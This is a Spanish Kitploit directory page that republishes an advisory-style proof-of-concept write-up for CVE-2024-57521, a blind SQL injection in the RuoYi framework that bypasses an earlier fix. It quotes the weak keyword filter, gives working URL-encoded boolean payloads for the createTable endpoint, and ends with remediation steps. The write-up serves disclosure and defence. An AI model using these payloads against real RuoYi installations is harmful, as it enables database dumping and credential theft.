Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Exploit de prueba de concepto de inyección SQL ciega para RuoYi v4.7.9, evitando el filtro CVE-2024-42900 para volcar bases de datos mediante inyección booleana autenticada.

Ver Repositorio
1hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL Autenticada en RuoYi v4.7.9 (Bypass de CVE-2024-42900)

Introducción

Descubrí una vulnerabilidad de Inyección SQL Ciega en la funcionalidad createTable de RuoYi Framework v4.7.9. Esto permite a un administrador autenticado ejecutar comandos SQL arbitrarios a través del parámetro sql. Esto es un bypass de la corrección de CVE-2024-42900, ya que el filtro de Inyección SQL en el método filterKeyword es insuficiente, la expresión regular puede ser evitada usando %0b como carácter alternativo a los espacios.

Versión Afectada

Producto: RuoYi Framework
Versión: ≤ 4.7.9
Enlace: [Ruoyi]

Análisis de Vulnerabilidad

La vulnerabilidad se encontró en el archivo https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java como se indica. La aplicación se basa en palabras clave en lista negra para filtrar ataques de Inyección SQL, este enfoque es propenso a bypasses. En este caso, para corregir CVE-2024-42900, se agregó la cadena a la lista negra, pero la aplicación aún no bloquea el carácter , por lo que puedo usarlo para desencadenar Inyección SQL con .

/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

La expresión regular select coincide con select (seguido de un espacio). No coincide con select%0b, que es un separador válido en SQL.

Pasos para reproducir Inyección SQL Booleana

  1. Inicia sesión como administrador
  2. Envía la solicitud createTable (endpoint vulnerable /tool/gen/createTable)
    a. Inyecta una consulta VERDADERA: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Inyecta una consulta FALSA: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Precaución: Es necesario cambiar el nombre de la tabla en la consulta CREATE después de cada consulta exitosa. 3. Con la Inyección SQL basada en booleanos, se pueden extraer datos usando el [poc] en Python de este repositorio
Uso
poc-usage
Extraer versión de BD con PoC
poc-db-version

Impacto

Un atacante con privilegios de administrador puede volcar toda la base de datos, incluidas las credenciales de otros usuarios y las configuraciones del sistema.

Recomendaciones

  1. Filtrar el carácter %0b.
  2. Filtrar la palabra clave select en lugar de select (eliminar el espacio al final)
  3. Actualizar el CMS a la versión 4.8.0 de Ruoyi CMS
Descargar herramienta